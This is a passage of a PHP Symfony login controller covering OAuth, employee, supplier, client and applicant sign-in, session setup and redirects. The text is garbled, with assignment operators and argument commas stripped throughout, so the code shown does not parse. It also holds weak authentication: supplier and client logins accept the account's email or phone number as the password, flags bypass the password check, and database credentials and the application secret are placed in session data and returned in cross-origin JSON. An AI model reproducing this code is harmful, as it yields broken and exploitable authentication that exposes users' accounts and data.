  1415.                                 'email' => $oAuthData['email']
  1416.                             )
  1417.                         );
  1418.                         if ($user) {
  1419.                             //no need to verify for oauth just proceed
  1420.                         } else {
  1421.                             //add new user and pass that user
  1422.                             $add_user EntityUserM::addNewEntityUser(
  1423.                                 $em_goc,
  1424.                                 $oAuthData['name'],
  1425.                                 $oAuthData['email'],
  1426.                                 '',
  1427.                                 0,
  1428.                                 0,
  1429.                                 0,
  1430.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  1431.                                 [],
  1432.                                 0,
  1433.                                 "",
  1434.                                 0,
  1435.                                 "",
  1436.                                 $image '',
  1437.                                 $deviceId,
  1438.                                 0,
  1439.                                 0,
  1440.                                 $oAuthData['uniqueId'],
  1441.                                 $oAuthData['token'],
  1442.                                 $oAuthData['image'],
  1443.                                 $oAuthData['emailVerified'],
  1444.                                 $oAuthData['type']
  1445.                             );
  1446.                             if ($add_user['success'] == true) {
  1447.                                 $firstLogin 1;
  1448.                                 $user $add_user['user'];
  1449.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  1450.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  1451.                                         ->setFrom('registration@entity.innobd.com')
  1452.                                         ->setTo($user->getEmail())
  1453.                                         ->setBody(
  1454.                                             $this->renderView(
  1455.                                                 '@Application/email/user/registration_karbar.html.twig',
  1456.                                                 array('name' => $request->request->get('name'),
  1457.                                                     //                                                    'companyData' => $companyData,
  1458.                                                     //                                                    'userName'=>$request->request->get('email'),
  1459.                                                     //                                                    'password'=>$request->request->get('password'),
  1460.                                                 )
  1461.                                             ),
  1462.                                             'text/html'
  1463.                                         );
  1464.                                     /*
  1465.                                                        * If you also want to include a plaintext version of the message
  1466.                                                       ->addPart(
  1467.                                                           $this->renderView(
  1468.                                                               'Emails/registration.txt.twig',
  1469.                                                               array('name' => $name)
  1470.                                                           ),
  1471.                                                           'text/plain'
  1472.                                                       )
  1473.                                                       */
  1474.                                     //            ;
  1475.                                     $this->get('mailer')->send($emailmessage);
  1476.                                 }
  1477.                             }
  1478.                         }
  1479.                     }
  1480.                 } else {
  1481.                     $data = array();
  1482.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1483.                         array(
  1484.                             'email' => $request->request->get('username')
  1485.                         )
  1486.                     );
  1487.                     if (!$user) {
  1488.                         $message "Wrong Email";
  1489.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1490.                             return new JsonResponse(array(
  1491.                                 'uid' => $session->get(UserConstants::USER_ID),
  1492.                                 'session' => $session,
  1493.                                 'success' => false,
  1494.                                 'errorStr' => $message,
  1495.                                 'session_data' => [],
  1496.                             ));
  1497.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1498.                             //                    return $response;
  1499.                         }
  1500.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1501.                             "message" => $message,
  1502.                             'page_title' => "Login",
  1503.                             'gocList' => $gocDataList,
  1504.                             'gocId' => $gocId
  1505.                         ));
  1506.                     }
  1507.                     if ($user) {
  1508.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1509.                             $message "Sorry, Your Account is Deactivated";
  1510.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1511.                                 return new JsonResponse(array(
  1512.                                     'uid' => $session->get(UserConstants::USER_ID),
  1513.                                     'session' => $session,
  1514.                                     'success' => false,
  1515.                                     'errorStr' => $message,
  1516.                                     'session_data' => [],
  1517.                                 ));
  1518.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1519.                                 //                    return $response;
  1520.                             }
  1521.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1522.                                 "message" => $message,
  1523.                                 'page_title' => "Login",
  1524.                                 'gocList' => $gocDataList,
  1525.                                 'gocId' => $gocId
  1526.                             ));
  1527.                         }
  1528.                     }
  1529.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1530.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1531.                         $message "Wrong Email/Password";
  1532.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1533.                             return new JsonResponse(array(
  1534.                                 'uid' => $session->get(UserConstants::USER_ID),
  1535.                                 'session' => $session,
  1536.                                 'success' => false,
  1537.                                 'errorStr' => $message,
  1538.                                 'session_data' => [],
  1539.                             ));
  1540.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1541.                             //                    return $response;
  1542.                         }
  1543.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1544.                             "message" => $message,
  1545.                             'page_title' => "Login",
  1546.                             'gocList' => $gocDataList,
  1547.                             'gocId' => $gocId
  1548.                         ));
  1549.                     }
  1550.                 }
  1551.                 if ($user) {
  1552.                     //set cookie
  1553.                     if ($remember_me == 1)
  1554.                         $session->set('REMEMBERME'1);
  1555.                     else
  1556.                         $session->set('REMEMBERME'0);
  1557.                     $userType $user->getUserType();
  1558.                     // Entity User
  1559.                     $userId $user->getUserId();
  1560.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1561.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1562.                     $session->set('firstLogin'$firstLogin);
  1563.                     $session->set(UserConstants::USER_TYPE$userType);
  1564.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1565.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1566.                     $session->set('oAuthImage'$user->getOAuthImage());
  1567.                     $session->set(UserConstants::USER_NAME$user->getName());
  1568.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1569.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1570.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1571.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1572.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1573.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1574.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1575.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1576.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1577.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1578.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1579.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1580.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1581.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1582.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1583.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1584.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1585.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1586.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1587.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1588.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1589.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1590.                     $route_list_array = [];
  1591.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1592.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1593.                     $loginID EntityUserM::addEntityUserLoginLog(
  1594.                         $em_goc,
  1595.                         $userId,
  1596.                         $request->server->get("REMOTE_ADDR"),
  1597.                         0,
  1598.                         $deviceId,
  1599.                         $oAuthData['token'],
  1600.                         $oAuthData['type']
  1601.                     );
  1602.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1603.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1604.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1605.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1606.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1607.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1608.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1609.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1610.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1611.                     $appIdList json_decode($user->getUserAppIdList());
  1612.                     if ($appIdList == null)
  1613.                         $appIdList = [];
  1614.                     $companyIdListByAppId = [];
  1615.                     $companyNameListByAppId = [];
  1616.                     $companyImageListByAppId = [];
  1617.                     if (!in_array($user->getUserAppId(), $appIdList))
  1618.                         $appIdList[] = $user->getUserAppId();
  1619.                     foreach ($appIdList as $currAppId) {
  1620.                         if ($currAppId == $user->getUserAppId()) {
  1621.                             foreach ($company_id_list as $index_company => $company_id) {
  1622.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1623.                                 $app_company_index $currAppId '_' $company_id;
  1624.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1625.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1626.                             }
  1627.                         } else {
  1628.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1629.                                 $this->getDoctrine()->getManager('company_group'),
  1630.                                 $gocEnabled,
  1631.                                 $currAppId
  1632.                             );
  1633.                             if (!empty($dataToConnect)) {
  1634.                                 $connector $this->container->get('application_connector');
  1635.                                 $connector->resetConnection(
  1636.                                     'default',
  1637.                                     $dataToConnect['dbName'],
  1638.                                     $dataToConnect['dbUser'],
  1639.                                     $dataToConnect['dbPass'],
  1640.                                     $dataToConnect['dbHost'],
  1641.                                     $reset true
  1642.                                 );
  1643.                                 $em $this->getDoctrine()->getManager();
  1644.                                 $companyList Company::getCompanyListWithImage($em);
  1645.                                 foreach ($companyList as $c => $dta) {
  1646.                                     //                                $company_id_list[]=$c;
  1647.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1648.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1649.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1650.                                     $app_company_index $currAppId '_' $c;
  1651.                                     $company_locale $companyList[$c]['locale'];
  1652.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1653.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1654.                                 }
  1655.                             }
  1656.                         }
  1657.                     }
  1658.                     $session->set('appIdList'$appIdList);
  1659.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1660.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1661.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1662.                     $branchIdList json_decode($user->getUserBranchIdList());
  1663.                     $branchId $user->getUserBranchId();
  1664.                     $session->set('branchIdList'$branchIdList);
  1665.                     $session->set('branchId'$branchId);
  1666.                     if ($user->getAllModuleAccessFlag() == 1)
  1667.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1668.                     else
  1669.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1670.                     $session_data = array(
  1671.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1672.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1673.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1674.                         'firstLogin' => $firstLogin,
  1675.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1676.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1677.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1678.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1679.                         'oAuthImage' => $session->get('oAuthImage'),
  1680.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1681.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1682.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1683.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1684.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1685.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1686.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1687.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1688.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1689.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1690.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1691.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1692.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1693.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1694.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1695.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1696.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1697.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1698.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1699.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1700.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1701.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1702.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1703.                         //new
  1704.                         'appIdList' => $session->get('appIdList'),
  1705.                         'branchIdList' => $session->get('branchIdList'null),
  1706.                         'branchId' => $session->get('branchId'null),
  1707.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1708.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1709.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1710.                     );
  1711.                     $session_data $this->filterClientSessionData($session_data);
  1712.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1713.                     $token $tokenData['token'];
  1714.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1715.                         $session->set('remoteVerified'1);
  1716.                         $response = new JsonResponse(array(
  1717.                             'token' => $token,
  1718.                             'uid' => $session->get(UserConstants::USER_ID),
  1719.                             'session' => $session,
  1720.                             'success' => true,
  1721.                             'session_data' => $session_data,
  1722.                         ));
  1723.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1724.                         return $response;
  1725.                     }
  1726.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1727.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1728.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1729.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1730.                                 $redPath parse_url($redPHP_URL_PATH);
  1731.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1732.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1733.                                 // The HB360 "my estimate" / rooftop tool pages are APPLICANT-only
  1734.                                 // (Hb360MyEstimateAction bounces any non-applicant to central_login).
  1735.                                 // Only honour a return-to-estimate redirect when the person who just
  1736.                                 // logged in is actually an applicant continuing the instant-estimate
  1737.                                 // flow. Otherwise an ERP/company login that happened to have an estimate
  1738.                                 // URL captured (e.g. the user browsed the tool first) would be dumped on
  1739.                                 // the estimate page instead of their normal company/central landing.
  1740.                                 $isEstimateTarget = (strripos($redPath'estimate') !== false || strripos($redPath'hb360') !== false);
  1741.                                 $userTypeNow = (int) $session->get(UserConstants::USER_TYPE);
  1742.                                 $honourRed = (!$isEstimateTarget) || ($userTypeNow === UserConstants::USER_TYPE_APPLICANT);
  1743.                                 // Never land the browser on a non-navigational endpoint (JSON/AJAX)
  1744.                                 // that was bounced to login pre-auth â€” e.g. the signature probes the
  1745.                                 // signature-setup modal/footer fire on first load (/signature_status
  1746.                                 // AND /CheckSignatureHash, which returns the raw signature hash).
  1747.                                 // Match any "signature" or "/api/" path. Otherwise first login dumps
  1748.                                 // the user on raw JSON instead of the app.
  1749.                                 if ($honourRed
  1750.                                     && strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false
  1751.                                     && strripos($redPath'signature') === false && strripos($redPath'/api/') === false) {
  1752.                                     return $this->redirect($red);
  1753.                                 }
  1754.                                 // Not honoured (guarded target, or an estimate target for a non-applicant):
  1755.                                 // fall through to the user's own landing instead of the estimate page.
  1756.                                 if ($user->getDefaultRoute() != "" && $user->getDefaultRoute() != null) {
  1757.                                     return $this->redirectToRoute($user->getDefaultRoute());
  1758.                                 }
  1759.                                 return $this->redirectToRoute("dashboard");
  1760.                             }
  1761.                         } else {
  1762.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1763.                         }
  1764.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1765.                         return $this->redirectToRoute("dashboard");
  1766.                     else
  1767.                         return $this->redirectToRoute($user->getDefaultRoute());
  1768. //                    if ($request->server->has("HTTP_REFERER")) {
  1769. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1770. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1771. //                        }
  1772. //                    }
  1773. //
  1774. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1775. //                    if ($request->request->has('referer_path')) {
  1776. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1777. //                            return $this->redirect($request->request->get('referer_path'));
  1778. //                        }
  1779. //                    }
  1780.                     //                    if($request->request->has('gocId')
  1781.                 }
  1782.             } else {
  1783.                 if ($specialLogin == 1) {
  1784.                 } else if (strpos($uname'SID-') !== false) {
  1785.                     $specialLogin 1;
  1786.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1787.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1788.                     //*** supplier id will be last 6 DIgits
  1789.                     $str_app_id_supplier_id substr($uname4);
  1790.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1791.                     {
  1792.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1793.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1794.                     }
  1795.                     //                else
  1796.                     //                {
  1797.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1798.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1799.                     //                }
  1800.                 } else if (strpos($uname'CID-') !== false) {
  1801.                     $specialLogin 1;
  1802.                     $userType UserConstants::USER_TYPE_CLIENT;
  1803.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1804.                     //*** supplier id will be last 6 DIgits
  1805.                     $str_app_id_client_id substr($uname4);
  1806.                     $clientId = ($str_app_id_client_id) % 1000000;
  1807.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1808.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1809.                     $specialLogin 1;
  1810.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1811.                     $isApplicantLogin 1;
  1812.                     if ($oAuthData) {
  1813.                         $email $oAuthData['email'];
  1814.                         $userName $email;
  1815. //                        $userName = explode('@', $email)[0];
  1816. //                        $userName = str_split($userName);
  1817. //                        $userNameArr = $userName;
  1818.                     } else if (strpos($uname'APP-') !== false) {
  1819.                         $email $uname;
  1820.                         $userName substr($email4);
  1821. //                        $userNameArr = str_split($userName);
  1822. //                        $generatedIdFromAscii = 0;
  1823. //                        foreach ($userNameArr as $item) {
  1824. //                            $generatedIdFromAscii += ord($item);
  1825. //                        }
  1826. //
  1827. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1828. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1829. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1830.                     } else {
  1831.                         $email $uname;
  1832.                         $userName $uname;
  1833. //                            $userName = substr($email, 4);
  1834. //                        $userName = explode('@', $email)[0];
  1835. //                            $userNameArr = str_split($userName);
  1836.                     }
  1837.                 }
  1838.                 $data = array();
  1839.                 if ($hasGoc == 1) {
  1840.                     if ($gocId != && $gocId != "") {
  1841. //                        $gocId = $request->request->get('gocId');
  1842.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1843.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1844.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1845.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1846.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1847.                         $connector $this->container->get('application_connector');
  1848.                         $connector->resetConnection(
  1849.                             'default',
  1850.                             $gocDataList[$gocId]['dbName'],
  1851.                             $gocDataList[$gocId]['dbUser'],
  1852.                             $gocDataList[$gocId]['dbPass'],
  1853.                             $gocDataList[$gocId]['dbHost'],
  1854.                             $reset true
  1855.                         );
  1856.                     } else if ($appId != && $appId != "") {
  1857.                         $gocId $request->request->get('gocId');
  1858.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1859.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1860.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1861.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1862.                         $gocId $gocDataListByAppId[$appId]['id'];
  1863.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1864.                         $connector $this->container->get('application_connector');
  1865.                         $connector->resetConnection(
  1866.                             'default',
  1867.                             $gocDbName,
  1868.                             $gocDbUser,
  1869.                             $gocDbPass,
  1870.                             $gocDbHost,
  1871.                             $reset true
  1872.                         );
  1873.                     }
  1874.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1875.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1876.                     if ($gocId != && $gocId != "") {
  1877.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1878.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1879.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1880.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1881.                         $connector $this->container->get('application_connector');
  1882.                         $connector->resetConnection(
  1883.                             'default',
  1884.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1885.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1886.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1887.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1888.                             $reset true
  1889.                         );
  1890.                     }
  1891.                 }
  1892.                 $session $request->getSession();
  1893.                 $em $this->getDoctrine()->getManager();
  1894.                 //will work on later on supplier login
  1895.                 if ($specialLogin == 1) {
  1896.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1897.                         //validate supplier
  1898.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1899.                             ->findOneBy(
  1900.                                 array(
  1901.                                     'supplierId' => $supplierId
  1902.                                 )
  1903.                             );
  1904.                         if (!$supplier) {
  1905.                             $message "Wrong UserName";
  1906.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1907.                                 return new JsonResponse(array(
  1908.                                     'uid' => $session->get(UserConstants::USER_ID),
  1909.                                     'session' => $session,
  1910.                                     'success' => false,
  1911.                                     'errorStr' => $message,
  1912.                                     'session_data' => [],
  1913.                                 ));
  1914.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1915.                                 //                    return $response;
  1916.                             }
  1917.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1918.                                 "message" => $message,
  1919.                                 'page_title' => "Login",
  1920.                                 'gocList' => $gocDataList,
  1921.                                 'gocId' => $gocId
  1922.                             ));
  1923.                         }
  1924.                         if ($supplier) {
  1925.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1926.                                 $message "Sorry, Your Account is Deactivated";
  1927.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1928.                                     return new JsonResponse(array(
  1929.                                         'uid' => $session->get(UserConstants::USER_ID),
  1930.                                         'session' => $session,
  1931.                                         'success' => false,
  1932.                                         'errorStr' => $message,
  1933.                                         'session_data' => [],
  1934.                                     ));
  1935.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1936.                                     //                    return $response;
  1937.                                 }
  1938.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1939.                                     "message" => $message,
  1940.                                     'page_title' => "Login",
  1941.                                     'gocList' => $gocDataList,
  1942.                                     'gocId' => $gocId
  1943.                                 ));
  1944.                             }
  1945.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1946.                                 //pass ok proceed
  1947.                             } else {
  1948.                                 if ($skipPassword == 1) {
  1949.                                 } else {
  1950.                                     $message "Wrong Email/Password";
  1951.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1952.                                         return new JsonResponse(array(
  1953.                                             'uid' => $session->get(UserConstants::USER_ID),
  1954.                                             'session' => $session,
  1955.                                             'success' => false,
  1956.                                             'errorStr' => $message,
  1957.                                             'session_data' => [],
  1958.                                         ));
  1959.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1960.                                         //                    return $response;
  1961.                                     }
  1962.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1963.                                         "message" => $message,
  1964.                                         'page_title' => "Login",
  1965.                                         'gocList' => $gocDataList,
  1966.                                         'gocId' => $gocId
  1967.                                     ));
  1968.                                 }
  1969.                             }
  1970.                             $jd = [$supplier->getCompanyId()];
  1971.                             if ($jd != null && $jd != '' && $jd != [])
  1972.                                 $company_id_list $jd;
  1973.                             else
  1974.                                 $company_id_list = [1];
  1975.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1976.                             foreach ($company_id_list as $c) {
  1977.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1978.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1979.                             }
  1980.                             $user $supplier;
  1981.                         }
  1982.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1983.                         //validate supplier
  1984.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1985.                             ->findOneBy(
  1986.                                 array(
  1987.                                     'clientId' => $clientId
  1988.                                 )
  1989.                             );
  1990.                         if (!$client) {
  1991.                             $message "Wrong UserName";
  1992.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1993.                                 return new JsonResponse(array(
  1994.                                     'uid' => $session->get(UserConstants::USER_ID),
  1995.                                     'session' => $session,
  1996.                                     'success' => false,
  1997.                                     'errorStr' => $message,
  1998.                                     'session_data' => [],
  1999.                                 ));
  2000.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2001.                                 //                    return $response;
  2002.                             }
  2003.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2004.                                 "message" => $message,
  2005.                                 'page_title' => "Login",
  2006.                                 'gocList' => $gocDataList,
  2007.                                 'gocId' => $gocId
  2008.                             ));
  2009.                         }
  2010.                         if ($client) {
  2011.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  2012.                                 $message "Sorry, Your Account is Deactivated";
  2013.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2014.                                     return new JsonResponse(array(
  2015.                                         'uid' => $session->get(UserConstants::USER_ID),
  2016.                                         'session' => $session,
  2017.                                         'success' => false,
  2018.                                         'errorStr' => $message,
  2019.                                         'session_data' => [],
  2020.                                     ));
  2021.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2022.                                     //                    return $response;
  2023.                                 }
  2024.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2025.                                     "message" => $message,
  2026.                                     'page_title' => "Login",
  2027.                                     'gocList' => $gocDataList,
  2028.                                     'gocId' => $gocId
  2029.                                 ));
  2030.                             }
  2031.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
